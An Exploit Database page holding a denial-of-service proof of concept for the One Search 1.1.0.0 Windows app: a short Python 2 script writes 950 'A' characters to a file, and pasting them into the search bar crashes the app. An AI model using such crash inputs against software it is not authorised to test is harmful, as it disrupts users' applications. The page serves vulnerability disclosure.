

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

One Search 1.1.0.0 - Denial of Service (PoC)

EDB-ID:

46195

CVE:

N/A

EDB Verified: ✗

Author:

[0XB9](#)

Type:

[DOS](#)

Exploit:   / 



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
# Exploit Title: One Search 1.1.0.0 - Denial of Service (PoC)
# Date: 1/18/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9PMR5QNS5LTL
# Version: 1.1.0.0
# Tested on: Windows 10
```

```
# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the search bar and click search
# App will now crash
```

```
buffer = "A" * 950
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

[OffSec Services Limited](#) 2026. All rights reserved.